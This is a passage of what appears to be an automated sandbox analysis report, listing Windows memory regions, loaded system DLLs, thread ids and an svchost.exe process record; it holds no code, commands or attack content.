	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2686
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2687
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2688
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2689
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2690
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2691
	        start_va = 0x170000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 2692
	        start_va = 0x320000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000320000"
	        filename = ""

Region:
	              id = 2693
	        start_va = 0x430000
	          end_va = 0x5b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000430000"
	        filename = ""

Region:
	              id = 2694
	        start_va = 0x5c0000
	          end_va = 0x740fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005c0000"
	        filename = ""

Region:
	              id = 2695
	        start_va = 0x750000
	          end_va = 0x80ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000750000"
	        filename = ""

Region:
	              id = 2696
	        start_va = 0x990000
	          end_va = 0xa0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000990000"
	        filename = ""

Region:
	              id = 2697
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2698
	        start_va = 0x7fef5210000
	          end_va = 0x7fef5295fff
	     entry_point = 0x7fef5210000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2699
	        start_va = 0x7fef8990000
	          end_va = 0x7fef89b6fff
	     entry_point = 0x7fef8990000
	     region_type = mapped_file
	            name = "loadperf.dll"
	        filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll")

Region:
	              id = 2700
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2701
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2702
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2703
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2704
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2705
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2706
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2707
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2708
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2709
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2710
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2711
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2712
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2713
	        start_va = 0x270000
	          end_va = 0x2effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000270000"
	        filename = ""

Region:
	              id = 2714
	        start_va = 0x2f0000
	          end_va = 0x2f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002f0000"
	        filename = ""

Region:
	              id = 2715
	        start_va = 0x300000
	          end_va = 0x300fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000300000"
	        filename = ""

Region:
	              id = 2716
	        start_va = 0x850000
	          end_va = 0x8cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000850000"
	        filename = ""

Region:
	              id = 2717
	        start_va = 0xaa0000
	          end_va = 0xb1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000aa0000"
	        filename = ""

Region:
	              id = 2718
	        start_va = 0xb20000
	          end_va = 0xdeefff
	     entry_point = 0xb20000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2719
	        start_va = 0x7fef4f60000
	          end_va = 0x7fef4f6efff
	     entry_point = 0x7fef4f60000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2720
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2721
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2722
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2723
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2724
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2725
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2726
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2727
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2728
	        start_va = 0xee0000
	          end_va = 0xf5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ee0000"
	        filename = ""

Region:
	              id = 2729
	        start_va = 0xf70000
	          end_va = 0xfeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f70000"
	        filename = ""

Region:
	              id = 2730
	        start_va = 0x7fef4c80000
	          end_va = 0x7fef4c93fff
	     entry_point = 0x7fef4c80000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2731
	        start_va = 0x7fef4f70000
	          end_va = 0x7fef4f96fff
	     entry_point = 0x7fef4f70000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2732
	        start_va = 0x7fef4fa0000
	          end_va = 0x7fef5081fff
	     entry_point = 0x7fef4fa0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2733
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2734
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""


Thread:
	id = 252
	os_tid = 0x640


Thread:
	id = 253
	os_tid = 0xa8c


Thread:
	id = 254
	os_tid = 0x69c


Thread:
	id = 255
	os_tid = 0x780


Thread:
	id = 256
	os_tid = 0xa9c


Thread:
	id = 257
	os_tid = 0x6d8


Process:
	id = "17"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x95a0000"
	os_pid = "0x2c8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "7"
	os_parent_pid = "0x338"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009c8c" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2735
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2736
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2737
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2738
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2739
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2740
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2741
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2742
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2743
	        start_va = 0xf0000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2744
	        start_va = 0x110000
	          end_va = 0x11ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 2745
	        start_va = 0x120000
	          end_va = 0x13ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 2746
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 2747
	        start_va = 0x150000
	          end_va = 0x1cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 2748
	        start_va = 0x1d0000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2749
	        start_va = 0x210000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2750
	        start_va = 0x230000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 2751
	        start_va = 0x330000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 2752
	        start_va = 0x430000
	          end_va = 0x5b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000430000"
	        filename = ""

Region:
	              id = 2753
	        start_va = 0x5c0000
	          end_va = 0x740fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005c0000"
	        filename = ""

Region:
	              id = 2754
	        start_va = 0x750000
	          end_va = 0x80ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000750000"
	        filename = ""

Region:
	              id = 2755
	        start_va = 0x810000
	          end_va = 0xc02fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000810000"
	        filename = ""

Region:
	              id = 2756
	        start_va = 0xc10000
	          end_va = 0xc10fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c10000"
	        filename = ""

Region:
	              id = 2757
	        start_va = 0xc20000
	          end_va = 0xc20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c20000"
	        filename = ""

Region:
	              id = 2758
	        start_va = 0xc30000
	          end_va = 0xcaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c30000"
	        filename = ""

Region:
	              id = 2759
	        start_va = 0xcb0000
	          end_va = 0xcb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cb0000"
	        filename = ""

Region:
	              id = 2760
	        start_va = 0xcc0000
	          end_va = 0xcc7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cc0000"
	        filename = ""

Region:
	              id = 2761
	        start_va = 0xcd0000
	          end_va = 0xcd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000cd0000"
	        filename = ""

Region:
	              id = 2762
	        start_va = 0xce0000
	          end_va = 0xce1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 2763
	        start_va = 0xd70000
	          end_va = 0xd70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d70000"
	        filename = ""

Region:
	              id = 2764
	        start_va = 0xd80000
	          end_va = 0xd82fff
	     entry_point = 0xd80000
	     region_type = mapped_file
	            name = "winmgmtr.dll"
	        filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll")

Region:
	              id = 2765
	        start_va = 0xd90000
	          end_va = 0xd91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d90000"
	        filename = ""

Region:
	              id = 2766
	        start_va = 0xda0000
	          end_va = 0xda0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000da0000"
	        filename = ""

Region:
	              id = 2767
	        start_va = 0xdb0000
	          end_va = 0xe2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000db0000"
	        filename = ""

Region:
	              id = 2768
	        start_va = 0xe30000
	          end_va = 0xeaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e30000"
	        filename = ""

Region:
	              id = 2769
	        start_va = 0xeb0000
	          end_va = 0xeb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000eb0000"
	        filename = ""

Region:
	              id = 2770
	        start_va = 0xf80000
	          end_va = 0x124efff
	     entry_point = 0xf80000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2771
	        start_va = 0x1250000
	          end_va = 0x134ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001250000"
	        filename = ""

Region:
	              id = 2772
	        start_va = 0x1350000
	          end_va = 0x13cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001350000"
	        filename = ""

Region:
	              id = 2773
	        start_va = 0x13f0000
	          end_va = 0x14effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013f0000"
	        filename = ""

Region:
	              id = 2774
	        start_va = 0x14f0000
	          end_va = 0x156ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014f0000"
	        filename = ""

Region:
	              id = 2775
	        start_va = 0x1570000
	          end_va = 0x15d1fff
	     entry_point = 0x1570000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 2776
	        start_va = 0x1670000
	          end_va = 0x16effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001670000"
	        filename = ""

Region:
	              id = 2777
	        start_va = 0x1880000
	          end_va = 0x18fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001880000"
	        filename = ""

Region:
	              id = 2778
	        start_va = 0x1900000
	          end_va = 0x1afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001900000"
	        filename = ""

Region:
	              id = 2779
	        start_va = 0x1b30000
	          end_va = 0x1baffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b30000"
	        filename = ""

Region:
	              id = 2780
	        start_va = 0x1bf0000
	          end_va = 0x1c6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001bf0000"
	        filename = ""

Region:
	              id = 2781
	        start_va = 0x1cc0000
	          end_va = 0x1d3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cc0000"
	        filename = ""

Region:
	              id = 2782
	        start_va = 0x1d80000
	          end_va = 0x1dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d80000"
	        filename = ""

Region:
	              id = 2783
	        start_va = 0x1e60000
	          end_va = 0x1edffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e60000"
	        filename = ""

Region:
	              id = 2784
	        start_va = 0x1f50000
	          end_va = 0x1fcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f50000"
	        filename = ""

Region:
	              id = 2785
	        start_va = 0x20e0000
	          end_va = 0x215ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020e0000"
	        filename = ""

Region:
	              id = 2786
	        start_va = 0x21b0000
	          end_va = 0x222ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021b0000"
	        filename = ""

Region:
	              id = 2787
	        start_va = 0x2230000
	          end_va = 0x2632fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002230000"
	        filename = ""

Region:
	              id = 2788
	        start_va = 0x2690000
	          end_va = 0x270ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002690000"
	        filename = ""

Region:
	              id = 2789
	        start_va = 0x2740000
	          end_va = 0x27bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 2790
	        start_va = 0x27c0000
	          end_va = 0x2bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027c0000"
	        filename = ""

Region:
	              id = 2791
	        start_va = 0x2d60000
	          end_va = 0x2ddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d60000"
	        filename = ""

Region:
	              id = 2792
	        start_va = 0x2ea0000
	          end_va = 0x2f1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ea0000"
	        filename = ""

Region:
	              id = 2793
	        start_va = 0x2f80000
	          end_va = 0x2ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f80000"
	        filename = ""

Region:
	              id = 2794
	        start_va = 0x3000000
	          end_va = 0x37fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003000000"
	        filename = ""

Region:
	              id = 2795
	        start_va = 0x3830000
	          end_va = 0x38affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003830000"
	        filename = ""

Region:
	              id = 2796
	        start_va = 0x3910000
	          end_va = 0x398ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003910000"
	        filename = ""

Region:
	              id = 2797
	        start_va = 0x39e0000
	          end_va = 0x3a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039e0000"
	        filename = ""

Region:
	              id = 2798
	        start_va = 0x3a60000
	          end_va = 0x3bc6fff
	     entry_point = 0x3a60000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2799
	        start_va = 0x3bd0000
	          end_va = 0x3ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003bd0000"
	        filename = ""

Region:
	              id = 2800
	        start_va = 0x73b60000
	          end_va = 0x73b62fff
	     entry_point = 0x73b60000
	     region_type = mapped_file
	            name = "winmgmtr.dll"
	        filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll")

Region:
	              id = 2801
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2802
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2803
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2804
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2805
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2806
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2807
	        start_va = 0xff030000
	          end_va = 0xff082fff
	     entry_point = 0xff030000
	     region_type = mapped_file
	            name = "services.exe"
	        filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe")

Region:
	              id = 2808
	        start_va = 0xff940000
	          end_va = 0xff94afff
	     entry_point = 0xff940000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2809
	        start_va = 0xffc90000
	          end_va = 0xffcf1fff
	     entry_point = 0xffc90000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 2810
	        start_va = 0x7fee2900000
	          end_va = 0x7fee29adfff
	     entry_point = 0x7fee2900000
	     region_type = mapped_file
	            name = "wuapi.dll"
	        filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll")

Region:
	              id = 2811
	        start_va = 0x7fee29b0000
	          end_va = 0x7fee2ad4fff
	     entry_point = 0x7fee29b0000
	     region_type = mapped_file
	            name = "dbghelp.dll"
	        filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll")

Region:
	              id = 2812
	        start_va = 0x7fef4c80000
	          end_va = 0x7fef4c93fff
	     entry_point = 0x7fef4c80000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2813
	        start_va = 0x7fef4f60000
	          end_va = 0x7fef4f6efff
	     entry_point = 0x7fef4f60000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2814
	        start_va = 0x7fef4f70000
	          end_va = 0x7fef4f96fff
	     entry_point = 0x7fef4f70000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2815
	        start_va = 0x7fef4fa0000
	          end_va = 0x7fef5081fff
	     entry_point = 0x7fef4fa0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2816
	        start_va = 0x7fef5210000
	          end_va = 0x7fef5295fff
	     entry_point = 0x7fef5210000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2817
	        start_va = 0x7fef7600000
	          end_va = 0x7fef761afff
	     entry_point = 0x7fef7600000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2818
	        start_va = 0x7fef7980000
	          end_va = 0x7fef79cefff
	     entry_point = 0x7fef7980000
	     region_type = mapped_file
	            name = "audioses.dll"
